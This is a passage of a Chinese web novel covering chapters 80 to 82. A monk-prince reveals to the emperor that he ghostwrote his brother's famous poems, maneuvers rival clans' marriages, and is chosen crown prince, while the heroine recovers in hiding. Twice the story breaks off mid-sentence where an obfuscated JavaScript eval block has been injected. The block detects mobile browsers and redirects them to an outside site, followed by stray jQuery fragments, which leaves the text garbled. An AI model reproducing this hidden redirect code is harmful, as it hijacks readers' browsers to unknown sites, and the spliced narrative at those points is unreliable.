曹壬缓步走上前去扶卢老夫人,“姨祖母多虑了,贫僧是出家人,红尘俗事于贫僧就如夏日的风、树梢的叶,来去皆影响不了贫僧。” 杨琇莹和南安王世子曹善的事仅过一天,就以极快的速度传遍了整个大魏,这是杨氏所始料不及的。 很快,有朝臣在上朝时提到南安王世子明明有婚约在身,却行如此荒唐之事,是为毫无信誉之人,不配参与太子之争,更不配继续在太学学习。 而定北侯陆恭此时也为自家鸣不平,陆烈和士兵们此时还在北境与鲜卑慕容氏浴血奋战,南安王世子竟然把陆氏嫡女的脸拿在地上踩,怀疑他已经被鲜卑慕容氏收买了,是为不忠不孝之人,不配参与太子竞选,更不配在太学入学。 定北侯在朝堂上捶胸顿足地痛骂过南安王世子后,陆奂立即着人去南安王府解除了陆婠和曹善的婚约,之前两府用于定亲的信物和南安王府送的聘礼都被陆氏悉数归还。 太极殿西堂,曹启皇帝正和曹壬坐在棋盘前下棋。 曹壬执白棋,皇帝执黑棋,二人厮杀很久一直难分胜负,皇帝便和曹壬说了曹善曾派人去刺杀他的事。 曹壬听了,却只是笑笑,未作任何言语。 曹启皇帝奇道:“难道你一点都不在意?你这是和他结了多大的仇呀?” 是因为他被曹善追杀的次数太多,所以不在意吗?亲兄弟处成这样,倒真是奇事。 曹壬拿起一颗棋子,看着棋盘回:“想必陛下也早就听过有关他那些美名,什么七岁可作诗,八岁可作赋,还有他当年那些脍炙人口被传唱过的作品,以及那年上巳,他第一次在建业儿郎面前作的诗。” 曹启皇帝点点头,“都听过,特别是上巳那几首诗,每一首都让人惊讶。” 手中的棋子轻轻落在棋盘上,曹壬平静地回,“那些诗赋,皆由我所作。” 80. 第八十章 托梦 当曹壬云淡风轻地说出当年的真相时,曹启皇帝被震惊得迟迟未能将手中的棋子落在棋盘上。 是怎样的一个人,可以在只有六岁的年纪就已经学会了那般隐忍?是怎样豁达的心态,才会为内心一片安宁,而将所有的名誉和繁华拱手让人。 又是怎样坚定的信念,才能让一个人十几年如一日地把那些寂寂无名、孤独阴冷的时光当成一种享受呢? 或许,大家都错了,并不是佛法成就了今日的他,而是当年的他选择了佛法,他哪怕不入佛,改入道抑或是其他凡是他想要去坚持的理想和信念,皆会取得今日这般成就。 一个纯粹的人,一个找到信念就可以心无旁骛走下去的人,在任何时候都是让人肃然起敬又令人害怕的。 曹壬和曹善的恩怨,当从曹壬被老南安王从北方接回六安封地开始讲起。 他自幼聪慧,凡事过目不忘,所以在王氏学堂时,经常被琅琊王氏的表兄弟们排挤,他原以为回到南安王府会好一些,但他想错了,表兄弟们至多是在言语上对他奚落嘲讽,曹善这个亲弟弟却要谋他的命。 老王爷给兄弟俩请来了大儒授课,甚至还让封地内大族富户的子弟和他们一起入学。 曹壬才入学便在老师面前表现出极其优秀的一面,让老师对他赞不绝口,点评作业时,以前都是夸奖曹善,可曹壬来后,总要被他比下去。 一个冬日午后,六岁的曹壬失足落水了,虽然已经查到是曹善院中的小厮所为,老王爷夫妇却只是将那个小厮杖毙。 自此,他落下病根,无法正常入学堂上课,也是从发生那件事后,他和曹善商定了一件事。 他只想在王府一隅安心养病,然后安心和祖母礼佛,以后所有需要外出社交、以及与外界接触的活动,皆由曹善替他挡了,而作为回报,只要曹善需要,他都可以替曹善代笔书写。 代笔的内容有老师布置的课后作业,有应节日需要作的诗赋,也有曹善为成名而不小心流传出来的赋,那年上巳节,曹善想在建业儿郎面前一举成名,他便躲在曲水流觞宴的背面,替曹善写了传唱至今的那几首诗。 曹善早已习惯找曹壬代笔,哪怕曾多次尝试过自己写,却总觉得差点意思,时间越久,反而越写越差,他已经离不开曹壬的笔。 而知道这一切的人,除了曹壬,还有江澈和方言。所以曹壬刚入白马寺,曹善就曾派人去追杀江澈和方言,却都一无所获,二人就好像在人间消失了一般。 曹启皇帝听完事情始末,静默片刻,才将棋子轻轻落下,“朕赢了,险胜你两子。” 曹壬慢条斯理地收拾着棋盘,“某棋艺不精,是陛下承让,才能下到现在。” 闻言,曹启皇帝没有丝毫胜利的喜悦,他不知道曹壬是故意输给自己还是真棋差一着,不过,想到这样的曹壬是自己选中的人,又隐隐有些兴奋。 他问:“接下来,你打算去谁家府上?” 曹壬看了一眼空空的棋盘,然后抬头看着曹启皇帝,淡然一笑,“贫僧听闻,萧老夫人最近常去白马寺上香,想来急需佛祖度化开解。” 曹启皇帝听后,眼睛瞬间一亮,透着对曹壬的赞赏,“去吧,替佛祖好好开解她,也算是份功德。” 兰陵萧氏,虽不如曾经显赫一时的琅琊王氏和陈郡谢氏,也不如此刻如日中天的弘农杨氏,却一直深得历代帝王的信任。 如今中书省的中书监,就出自兰陵萧氏,正三品的中书监萧奇,一直被曹启皇帝用来制衡正三品的尚书令杨宪,杨宪是杨琇莹的祖父,杨皇后的父亲,也是幽州牧杨章和扬州刺史杨充的父亲。 中书省掌管草拟皇帝诏令、呈奏案章,亦有侍从皇帝之责,尚书省则综合处理全国政务。 东海王世子那个未能完成婚约就早早香消玉损的前世子妃,正是出自兰陵萧氏。 曹善和杨琇莹的事一出,东海王世子又开始被各大世家青睐了,连兰陵萧氏也正打算着再送个女郎去继续两府之前未能完成的婚约。 曹壬此番登门拜访萧老夫人,是因为最近在白马寺见到萧老夫人一脸忧愁,佛祖能度有缘人,萧老夫人和佛祖甚是有缘,所以主动上门开解一二。 他盛名在外,且白马寺每月一次的讲经大会也不是每个人都有机会聆听,如今他主动上门讲经,萧氏也没有拒绝的理由。 这次去萧氏府上和去卢氏府上不一样,他除了讲经,什么都不提,也不在萧府留宿,每次讲完当日的内容后,就会回到卢府。 如今的卢氏,已然把曹壬当自家人了,哪怕他回来得再晚,也会给他备着洗漱用的水,卢太尉还特意给他配了个小厮,照顾他的饮食起居。 卢老夫人见他每日徒步往返萧卢两府,心疼道:“要不我和萧老夫人说一声,让你暂时住那里,也就不用这么累。” 曹壬笑回:“姨祖母虽然已经康复,孙儿却只有回来见你安好,才放心得下,且出家人修行,不存在累不累之说。” 卢老夫听完,既感动又熨帖,真心觉得曹壬是卢奎去世后,佛祖可怜她才派来给她的,自此以后,曹壬每日的去向,也不再让人过问了。 这日,曹壬又去太极宫陪皇帝下棋。 皇帝率先开口,“杨府已和南安王府正式定亲,杨氏女和南安王世子的婚期定在年底,这事你怎么看?” 曹壬不紧不慢的落下一子后,笑道,“既是好事,我这个做兄长的,可否替弟弟求个旨意?” “你想求什么?” “杨氏女已有身孕,想来大婚之日定要冷落了弟弟,我想替他向陛下求一封赐婚旨意,将张氏文茵指给弟弟做侧妃,和杨氏女同一天嫁入南安王府。” 曹启皇帝无法从曹壬的笑容下探得其最真实的想法是什么,因为他此刻表现出的是一副非常关心弟弟的摸样,满眼真诚,甚至在提完要求后,隐隐透着期盼。 身着袈裟,却能毫不避讳地口言弟弟洞房花烛这种俗事,且说得如此顺口,怎么看都像是因为太关心弟弟而口无遮拦,这样的反差感真是怪诞至极,但又让你不忍心去拒绝他的要求。 怔怔的看了他片刻,曹启皇帝才道,“庆平,让中书监拟制。” 杨氏女是否真有身孕这事是一个谜团,那日卢府医官诊断过后,杨琇莹的母亲即刻赶到了现场,她口口声声骂医官是庸医,若非卢氏出面阻拦,杨氏府卫恐怕要把医官当场碎尸万段。 为证清白,回去后,杨氏又找了其他医官诊断,甚至还到宫中请了御医,但大家异口同声都说是怀有身孕的脉象。 杨氏没办法,最后为了面子,将杨琇莹狠狠责骂后关在府中不得出门,一直到陆氏找南安王府解除婚约后,才厚着脸皮找南安王府商议二人的婚事。 南安王是个胆小鬼,作为唯一一个没有兵权的藩王,面对手握重兵的弘农杨氏,他没有勇气拒绝,哪怕世子口口声声说那孩子不是自己的,南安王也只能捏着鼻子答应了这门婚事。 之前,夏侯湛应曹壬的要求,让人查了张文茵,发现她和杨琇莹时有信件往来,还查到张文茵虽然和陆婠交好,却因为陆婠比她貌美,比她有才华,所以心生嫉妒而私下抱怨过。 哪怕后来和陆弘定了亲,她对这门亲事也不是很满意,那年上巳节,曹善在覆舟山曲水流觞宴上写的几首诗,曾被张文茵偷偷写下,然后日日观摩背诵。 如今正好,给她指这样一门亲事,她既可以继续和杨琇莹互称姐妹相亲相爱,又可以日日听世子吟诗作赋,想来定是欢喜得紧。 杨琇莹的婚期定下不过才一月,洛阳城内又发生了一件大事,杨氏给杨蓁蓁定了一门亲,和她定亲的正是如今风头正盛的东海王世子。 朝中终于有人看不下去,在私底下取笑杨氏吃相难看,笑杨氏恨不得让所有外孙、外孙女都姓曹,如此心急,就好像普天下的女子,除了杨氏都不配做太子妃似的。 不过,别人怎么看不重要,作为东海王世子目前最有力的支持者兰陵萧氏,却是一万个不乐意的。 明明萧氏和东海王世子都快谈成了,眼看二府马上就要再续前缘,谁曾想半路突然杀出杨氏这个拦路虎,再好脾气的兰陵萧氏此刻也唯有狠下心争回这一口气。 你杨氏想再出个太子妃是吧,那我就让他直接成不了太子,已经有南安王世子的案例在前,萧氏也能想办法对付那个摇摆不定的东海王世子。 九月九日重阳日,萧老夫人约世家年轻男女欢度重阳,原本重阳日喝菊花酒是件雅事,不过因之前出过赏荷宴那事之后,大家都不敢在外饮酒了。 唯有东海王世子觉得愧对萧氏,所以在萧老夫人劝说下,不得不喝了几杯菊花酒。饮酒后不多时,感觉到头晕的东海王世子被侍人阴差阳错地带去了已故世子妃曾经住过的院子。 于是,在迷迷糊糊半梦半醒间,他好似在这里见到了已逝佳人的魂魄。 佳人在前,虽知道不能与他继续相守,她却依然如从前一般看着他,满眼都是他的身影。 这样痴缠的眼神,如此深情的凝望,在杨蓁蓁脸上是看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992923|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的,只有在萧氏这里,他才能体会到就算没有世子这个身份,自己也是个伟岸的男子汉。 也只有萧氏女不曾像其他人那样取笑他只是个五大三粗的莽夫,真心爱慕他懂他,只有她认为他能成为一名可靠的夫君。 萧氏的重阳宴没有发生之前那种荒唐事,让大家临行前都松了一口气。但刚过两日,大家听闻东海王世子自那日之后便迷上了前世子妃的院子,经常去那里小坐,还不允许萧氏改动里面的格局。 他如此行径,让杨氏知道后怒不可遏却又无可奈何,自从杨琇莹出事后,洛阳世家私底下笑话杨氏家风有问题,导致杨氏如今的未嫁女都不好说亲了。 而萧氏女眷则怨声载道,一个外男经常毫无征兆的出现在自家后院,这事搁在谁家能不乐意? 这种情况下,萧氏未出阁的女郎如何能放心在自家后院行走?要是万一哪一天,东海王世子在喝醉酒的情况下不小心把萧氏其他女郎看错成已故世子妃,岂不是要让萧氏女做妾? 萧氏家训有言:凡萧氏所出,无论嫡庶皆不为妾。 忍无可忍之下,萧氏不再允许东海王世子登门,且再三向他言明:两府已无婚约,他如此这般行事只会引得杨氏不满,同在朝中为官,又共同生活在洛阳都城,萧氏不想因为他和杨氏闹得太难看。 东海王世子被拒绝几次后,不知道是怎么想的,竟然跑去找杨氏退婚了,杨氏自然不乐意,二府刚定亲才满一个月,女儿又没做错什么,哪里由得你想退就退的? 为此,远在东海封地的东海王不得不拖着一把老骨头从封地日夜兼程赶到洛阳向尚书令杨宪请罪。 二府后来因什么原因再次谈拢了二人的亲事,大家无从得知,但东海王世子自此以后真的没有再去萧府门口叫嚣着要进去了。 曹启皇帝问曹壬,“你是如何开解萧老夫人的?” 曹启淡然一笑:“我只是每日讲几则佛经。” “当真如此简单?”皇帝有些不信。 曹壬点点头,然后顿了一下,才道:“我还给已故世子妃在白马寺点了一盏引魂长明灯。” 曹启皇帝闻言,张着嘴愣了许久,连手中的棋子滑落都没发现。 今日二人下棋,夏侯湛一直在一旁默默观棋,于是将二人的对话都听在耳中。 如今才听完曹壬之言,他瞬间觉得后背发凉,于是立时屏住呼吸,好似想要以此隐身不让曹壬发现他的存在,心中再次默默祈祷,千万千万不要让太子殿下发现他曾经让人去路上给陆氏女制造磨难。 杨氏和东海王府的婚约在一场闹剧过后,终于尘埃落定,杨蓁蓁和东海王世子的婚期定在次年二月。 只是,当初看好东海王世子的那些世家,已经有几家开始动摇,纷纷把目光转向了成都王世子和西平王世子。 大家之前没考虑西平王世子是因为西平王手握重兵,他和其他藩王不一样,是实打实有兵权且战斗力极强的藩王,他用兵之猛,让西域诸国都对其闻风丧胆。 他的儿子若成了太子,那如今在太极宫中的皇帝岂不是得每日都得战战兢兢的。 然而,就在大家猜想着最后谁会胜出时,出乎所有人的意料,曹启皇帝在年关将要祭祀之际,突然放了一个大招。 有一天上朝的时候,曹启皇帝坐在上首痛哭流涕,言他在夜里梦到被先帝斥责,因迟迟未能选定太子,先帝责他无能,并在梦里催促他尽快选出人选,以安社稷。 这种做梦之事,朝臣没人相信,但皇帝哭得情真意切的,大家只能纷纷安慰。 又过了几日,终于有朝臣按耐不住开始向皇帝推荐人选,曹启皇帝却说要去梦中问问先帝再回复,举荐的朝臣们也只能对他这个回复嗤之以鼻。 一天夜里,冬雷震震,听说惊雷把太极殿屋顶的鸱吻给劈落了,至于是不是真的,百官不知。 鸱吻是一种龙首形瓦件,通常被安放在正脊的两头,面朝里,呈张嘴吞脊状,因此也被称为“吞脊兽”,是一种吉祥兽,鸱吻落下,是为不吉。 皇帝因此事受到了极大惊吓,还喃喃自语:先帝又托梦了,且这次不只有先帝,他好像还看到了疑似是武帝的人,武帝向他指了个方向后消失在了迷雾中。 皇帝被吓得上不了朝,大臣们自然要想办法替他分忧,于是差太史令按武帝所指的方向找寻,竟然被找去了白马寺。 这时,有一名官员提醒大家,白马寺中也有一位曹氏公子,正是大名鼎鼎的慧悟法师,莫非,武帝所指之人是他? 81. 第八十一章 新太子 让一个出家多年的法师还俗做太子,这也太匪夷所思,且太强人所难了,至少在大魏历史上不曾发生过这等奇事。 只是慧悟法师声名远播西域诸国,确实是其他公子所不能及的,大家已经开始忍不住偷偷把曹壬和其他公子做比较,为此,反对最为激烈的属尚书令杨宪。 他认为:破坏出家人修行是万万不该的,是损功德的行为,且曹壬既已摒弃红尘俗世,又如何能再入这朝堂?若真还俗入了东宫,岂不是让天下出家人笑话? 话虽这么说,可出过东海王世子的事后,大家反而开始看好意志坚定、视权势如粪土的慧悟法师,先不说他愿不愿意还俗,就算他迫不得已还俗,想来也是不大乐意管朝中俗务的。 如此一来,大家在朝为官时,岂不是更能落得轻松自在? 如今的世家,只想安安分分享受美好时光,每日携友外出寄情山水,于山水畔焚香煮茶清谈一番,论佛法也是清谈的一种呀。 比起看似老实憨厚实则精明强势的曹启皇帝,他们其实更想要一个整日沉迷佛法不理俗事的君主,这曹壬,简直不要太合适了。 杨宪扭头看了一眼卢太尉,在以前,二人表面看起来交情一般,但私底下一直都在同一个阵营里。 可今日,卢奎却假装没看到杨宪的眼神,不着痕迹地别开了头,因为儿子卢奎的事,他已和杨氏离了心。 而且曹壬前阵子住在卢府,和老母亲关系颇好,若他为太子,他肯定第一个同意。 于是,众朝臣们从一开始商议是否让曹壬还俗参与竞选,慢慢变成了如何才能说动曹壬还俗。 毕竟他如今的成就不是普通人能及,说得难听一些,让他来做这个太子,属实是俗不可耐到配不上他的高洁。 连续几日激烈地争论过后,杨宪终于病倒了,他发现,和自己有相同声音的人越来越少,若是这样,他急匆匆和东海王定亲又有何意义? 尚书令病倒期间,朝臣却没有闲着,眼看陛下病得越来越重,为了替陛下分忧,有朝臣主动提出去白马寺请愿,于是,朝臣们纷纷相约着去白马寺请求曹壬还俗。 在白马寺大雄殿内,听到门外此起彼伏的请愿声,净觉拨弄珠串的手一顿,睁开眼问曹壬,“今日之事,你当初可曾料到?” 曹壬摇摇头,“弟子原也只是想替阿萸翻案。” 净觉轻叹一声,“都言佛门之内是净土,可普天之下莫非王土,哪里还有真正的净土?为师自那日在这里让你和陛下偶遇之时,就已看出帝王的野心。” 曹壬猛地抬起头,满眼愧疚自责,“师傅可会怪徒儿欺瞒于你?” 净觉摇头轻笑,“这样的你,为师才放心让他把你带去那种吃人不吐骨头的地方,徒儿终于长大了,为师甚是欣慰。” 净觉对他的爱护和包容一如以往,这让曹壬一时间既感动又自责到无以言表,他知道,自己终归是辜负了师傅的一片苦心,此刻唯有深深拜服在师傅的脚下,以求得他的原谅。 净觉伸手摸摸曹壬的头顶,温言出声,“何为修行?为师以为,身在佛门,用佛法度化众生是为修行;居高位,为百姓谋福祉亦是修行,凡有功德皆为修行,你无需拘泥于某一种形式。” 曹壬已然泣不成声,师傅如此豁达,让他更加无颜以对。 净觉又道,“佛法想要长存,是要依赖于政治的,有时候为了传扬佛法,我们不得不向现实低头,倘若当今圣上或者下一任帝王是迷恋道教之人,你觉得此刻门外还会有朝臣请愿吗?” 净觉很清楚,哪怕佛法如此深远智慧,想要推广传播,却少不了当权者的支持。先帝在位时好武,所以大魏各大佛寺香火远不及如今鼎盛。 但若说当今圣上诚心信佛,却也不尽然,先帝常年征战让国库空虚的同时民生凋零,当今圣上就得在出怀柔政策让百姓休养生息的同时,借佛法安抚百姓。 佛教和政治,从来都是可以相辅相成的,端看在位当权者如何使用并平衡好两者间的关系。 不过,净觉暂时不想与徒弟说这些,他要等到时机成熟,等到徒弟真正领悟何为权势和责任时,再告知。 朝臣去白马寺请愿的第一天,曹壬一直和师傅在大雄殿静坐修禅,闭门未出。 朝臣们悻悻然离去后,第二天再次在殿外请愿,这天清晨,当太阳照入大雄殿时,曹壬终于走出了大雄殿。 然而在众朝臣惊喜又期盼地看着他时,他却只是双手合十,向大家行礼后,出言拒绝了大家的请求。 有朝臣想上前出言劝说,他却双手合十向众人行礼,然后毫不留恋地转身回了大雄殿。 第三天,朝臣再次请愿,曹壬再次拒绝。 至第四天的时候,曹启皇帝拖着病体上白马寺,携百官一起请愿,曹壬万般无奈之下,当着陛下和众朝臣的面,在大雄殿释迦佛像前磕头忏悔后,终于答应参与竞选。 杨宪听说并非立即册封,还需曹壬通过竞选,他身上的病立时好了一半。 哪怕已是年末,他亦要打起精神给参选者设计考核方案,让别人出方案,他一万个不放心。 文选和武选,一个都不能少,文选由太学博士和尚书省共同出题。 不过,饶是他绞尽脑汁出的题,曹壬最终也在太学博士的一片赞叹声中轻松打败了其他藩王公子。 至武选时,杨宪信心满满,因为东海王世子的强项就是武力,他可以把长枪耍得出神入化,连西平王世子都甘拜下风。 谁曾想,曹壬仅用一根平平无奇的白马寺武僧法棍,就把东海王世子击败了。 这样的结果,让一直以为曹壬只是个常年卧病在床、弱不禁风的公子的世家们差点惊掉大牙! 当初是谁说他活不过二十岁的?又是谁说他皈依佛门是因为身体太差去还愿的? 杨宪此刻面对如此出乎意料的结果,满心只想把当初把这些传出来的人拉来杖毙。 急火攻心之下,好不容易养好的身体又病倒了。 世家们因曹壬把棍法用的如此精妙而直呼出乎意料时,无人知道,东海王世子的长枪只是用来健身,而曹壬手中的木棍却是参与过实战喂过血的,人只有在陷入绝境之时才能爆发出最强的潜力。 至此,历时四年的太子之争终于在世家们满脑袋不可思议中落下帷幕。 无论是否还有朝臣继续反对,亦或是有朝臣觉得上当受骗而一时间难以接受,曹壬的胜出却是有目共睹的,大家唯有心服口服地承认这个结果。 安和十四年正月二十一日,曹启皇帝颁布诏书,昭告天下,正式选定曹壬为太子。 诏书颁布后,接下来就交由尚书省、中书省、门下省共同拟定册封相关流程。 曹壬走完了册封太子的所有流程,并正式入住东宫之时,已经是安和十四年三月。 三月初三,上巳日,陛下携太子曹壬在华林园为百官及家眷折柳枝洒甘露,祓禊去灾。 今日过后,在太学入学的藩王公子就要回封地了,所以,除了因成亲而提前回去的南安王世子和东海王世子不能来华林园,其他公子皆要出席上巳节活动。 新年新气象,加之为了能在新太子面前留个好印象,今年到桦林园的官员和女眷都很整齐。 太子在未还俗的时候,女郎们都是见过他的,他们以为太子脱了那身袈裟后,能更容易接近一些,所以特意盛装打扮一番才来华林园。 谁知,当他们真站在太子面前,接受他洒出的甘露时,才真正发现,他还是那个慧悟。 虽然他已经开始蓄发,也穿上了太子常服,可他看人时,和当初没有区别,澄澈的双眸里,无任何情绪,看蝼蚁和看人,没有任何不同。 越来越多的女郎满心欢喜落空后,不得不打起精神把目光转向其他在场的公子,好在今日来的公子也有很多出色的。 慢慢的,太子这边就冷清下来了,别说女郎,连朝臣都没人往他跟前凑。 曹启皇帝轻叹一声,“你这样,倒让人觉得只是换了个地方继续修行。” “儿臣却觉得这样甚好,无需凡事亲力亲为,让擅长此道之人去应付就行”曹壬说着,看向被女郎围着的陆弘。 陆弘是以优异的考核结果从太学毕业的,因尚书令杨宪卧病在床,今年由尚书仆射和中书监一起给毕业生定品。 陆弘年纪轻轻便被定了正五品,并被任命为太子中庶子,与太子舍人共掌东宫禁令,纠正缺违,侍从规谏,奏事文书。 这般年轻有为且没有定亲的少年郎,是多少年轻女郎的梦中情郎呀。 最最重要的是,陆弘待人接物彬彬有礼,温文尔雅,与他谈话简直如沐春风。 曹启皇帝对曹壬这番观点不是很赞同,但是也很欣赏陆弘,轻笑道:“不愧是文肃的孙子,看到他和你,朕就想起当年的文素和朕,也是这样的年龄一起入东宫。” 太子中庶子和太子舍人是多少世家挤破头都想要的职务,曹壬知道,陆弘是皇帝真正用心挑选给自己的。 看着年龄比自己小却稳重有礼,处理大小事务皆游刃有余的好友,曹壬对陆歆教育后辈的方法很是佩服。 他笑道:“儿臣不会让父皇失望的。” 不多时,年轻男女们都相约着去赏景游玩了,西平王世子携清河王府的两名公子邀约曹壬去树荫处饮酒。 他们相邀,曹壬倒是爽快的答应了,只是他不饮酒,以茶代酒诚心向他们赔了罪。 他们和曹壬相处的时间其实很短,曹壬在太学只上了几次课就因病得太严重而没有出现,再后来他皈依了白马寺,所以没机会如今日这样坐在一起饮酒聊天。 酒过三巡,他们也没一开始那么拘束,西平王世子笑道:“在太学那会,真怕你把肺腑咳出来。” 说起当年,清河王两个公子也忍不住接话:“就是,我们那会真怕你被风给吹倒了,真是想不到呀,最后还是你做了太子。” 清河王的两个公子刚来太学时,占着皇帝和清河王是亲兄弟,张口闭口就是“皇伯父”,对南安王府和西平王府这种与皇帝的血缘关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010523|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系相差太远的根本看不上眼。 所以这两个公子虽然资质平平,却上蹿下跳地和当初呼声最高的曹善竞争了很长时间。 不过,有趣的是,二人一直很团结,因为他们没有太多想法,兄弟两无论谁被选上都行,他们只想效仿当今陛下和清河王,兄友弟恭留一段佳话。 清河王府的家庭氛围想必非常和谐,因为听说这两位公子和已逝的先太子感情也很好。 曹壬很羡慕这样的感情,由衷一笑:“你兄弟二人回去后,得空也可以到东宫找我,如同和先太子那般。” 比起假模假样的曹善,他们更喜欢曹壬,于是笑回,“届时只要殿下不嫌我们烦,我们定会到东宫叨扰您。” 西平王世子接过话“家父早就催我回去定亲,我真是归心似箭,如今终于可以回去了。” 西平王给世子定的女郎不是出自世家的,而是军中偏将军的女儿,西平王世子很满意女方这样的出身。 他说:“娇滴滴的世家贵女肯定受不了西域都护府的艰苦环境,与其成亲后还要和离,不如直接找个合适的。” 正在喝酒的男人聊到女人,话题就多了起来,特别是清河王两个公子,许是真的有些醉了,聊的内容完全口无遮拦。 一会说高门贵女规矩多,像木头一样无趣;一会又说娶高门贵女回去就是娶了个祖宗,脾气大,还只能忍着,比如先嫂子。 他们口中的先嫂子就是先太子妃杨氏,曹壬从他们口中知道先太子有点惧怕这个太子妃。 接着,他们又聊起哪家女郎肤白貌美,可惜脾气不好,哪家女郎小意温柔,哪家女郎声音甜美可惜只能看背影,总之,男人间爱聊的,都被他们聊了一遍。 清河王五公子见曹壬一直面带微笑安静地听着,忍不住出口问:“殿下喜欢哪种类型的?你对女郎们不了解,我兄弟二人可以帮忙推荐。” 他们觉得曹壬一直住白马寺,肯定对挑女人毫无概念,为了不让他像兄长那样被坑,他们决定自告奋勇替曹壬把把关。 西平王世子觉得这个问题太过唐突,刚要出言打断,却敏锐地发现曹壬在听过问题后短暂的愣了一会神。 那一瞬间,他眼中有光,有柔情,也有化不开的忧伤,他心里,或许有人,只是无人得知。 可他很快便恢复如常,笑回:“我刚还俗,还未考虑过姻缘,不过,我的姻缘自己是做不了主的。” 清河王两位公子听后,唉声叹气了一番,又忍不住谈起已故兄长和太子良娣的感情。 最后总结道:“你这样也好,以后也不用像兄长那般为难。” 眼见两位公子又饮了不少酒,西平王世子担心他们又会问出什么惊世骇俗的问题,以要回去准备行装为由,笑着将二人一起拉走了。 太阳已经西斜,金黄色的光透过树林照在几人饮酒的酒案上,精美的酒杯被柔和的光晕包裹着,朦胧得似一幅画。 曹壬独自一人留在原地直至太阳完全落尽,内侍八喜也未上前打扰,只是在不远处的树下安静地侯着。 至夜,东宫。 皇宫东墙薄室门外,建春门内道路北侧是太子的东宫,东宫共有四个殿,从前往后依次为前殿,建始殿,中室殿,月室殿。 曹壬把太子日常起居用的建始殿更名为行云殿,从华林园回来后,他没用晚膳直接去了行云殿西侧的书房。 八喜劝说无果后,也只能安静地守在书房外,虽然师傅庆平一开始就已交代过太子殿下话少,让他不要说太多废话惹太子不快。 可真来了东宫,八喜才知道太子殿下不是话少,而是多一句都不想说。 比如他苦口婆心地劝说了一堆,只换来太子殿下:“修行之人过午不食。” 书房的门被合上了,他想再讲几句废话都没机会。 拿到三伏还回来的两幅画后,曹壬迟迟不敢打开看,生怕睹物思人后没勇气面对已是孑然一身的现实。 可今日是上巳日,刚刚在夕阳下,他忍不住想起了那年的上巳,想起那样猝不及防闯入生命中的女孩。 于是,才回到东宫,他便迫不及待地想要再看看和她有关的东西。 《踢毽子的小女孩》缓缓展开时,他惊喜地发现,陆萸在去年春天留下的诗: 忽有故人心上过,回首山河已是春。 两处相思同淋雪,此生也曾共白头。 她并非未给自己留下只言片语,这样的发现让他瞬间激动得双手止不住颤抖。 她没有想要失约,若没有那场变故,他们肯定会共白头。 思及此,他再次后悔那年上巳去覆舟山替曹善代笔,若没有那几首诗,若他阻拦她在雨中将伞送给杨琇莹,她是不是就不用离开自己? 可是,若不去覆舟山,他如何有机会遇到她? 忍了许久的泪,终于还是无声无息地滚落在画上,纸上瞬间布满一圈圈水晕。 画中的女孩笑容宴宴,当时只道是寻常,如今才发现,哪怕只是想要与她相望,竟也算是贪欢。 82. 第八十二章 父母 安和十四年三月,才一转眼的时间,陆萸已经在东山住了九个月。 刚到东山别墅时,她的伤势未痊愈,怕萧嘉卉看出端倪,所以白日里也只是偶尔去陪伴她。 那日和萧嘉卉一起看谢洐作画后,陆萸就发现了一个很大的破绽,谢洐对外说她是常年在洛阳养病的谢知鱼,可她说话时没有洛阳口音。 为此,谢洐不得不骗萧嘉卉说当初陪谢知鱼去洛阳的侍女是从建业带去的,谢知鱼常年卧病在床,几乎没有出门社交,所以没有机会学洛阳口音。 萧嘉卉听后,更加心疼女儿,当场就相信了这样的谎言,不过,陆萸从她那里离开后还是用心的学起了洛阳调。 说起洛阳调,又不得不提北人对南人嫌弃而称南人为“貉子”,他们以说话带南方口音为耻,杨氏姐妹随父亲到建业之初,也常常以说得一口洛阳调而莫名优越。 南方人虽然不服北人而偷偷称呼他们为“伧父”,但依然羡慕中原士族的洛阳音,所以热衷于学习洛下书生咏,又称洛生咏。 洛生咏即洛阳书生的诵读、吟咏声,声音低沉粗重,凡被定品入太学的南方世家公子都学过洛生咏,且学得很好。 洛阳调不算很难学,堂姊陆妘曾在华亭教过她一阵子洛阳调,只是之后一直没有语境,就没有好好复习使用。 如今有谢洐亲自教导她,且能时不时去萧嘉卉跟前练习,陆萸的洛阳调说的越来越纯正。 至今日,她已经完全像个自幼长在洛阳的女郎,学会洛阳调后,她刻意改变说话的语速,让如今的音色和以前的音色做出不同,以前的音色是软糯的江东口音,如今就是干练脆口的洛阳音。 九个月的时间过得极快,萧嘉卉从一开始每日发病一次,慢慢恢复成隔几日才发病一次,至现在,已经好几个月没有发病了。 郭医师说这是正在慢慢恢复的迹象,只要继续保持外加用药调理,难说她就能痊愈。 陆萸前世听人说起过,人一旦不运动,没有盼头或者失了生活目标,就会让代谢变慢,从而引发一系列并发症,心病会引起身体器官机能退化。 萧嘉卉或许是多次流产后,身体未痊愈就接着怀孕生子,才导致谢知鱼先天不足。 她原本身体虚弱,谢知鱼又需要精心照料,导致她比其他产妇更费心神,从而产后抑郁一直没有恢复,才会引起后来一系列连锁并发症。 谢洐冒那么大的风险救下自己,陆萸是个很懂感恩的人,陌生人给予的滴水之恩她都尚且恨不得涌泉相报,更何况是和她相识多年的谢九叔。 陆萸很有耐心且心细敏感,因此每次与萧嘉卉相处都能及时避开那些会让她多思多想的话题,然后刻意将她的思绪向积极乐观的方向引导。 还是那句话,人不能太闲,哪怕体力不济,思维也不能总是发散去那些不知名的悲伤中去。 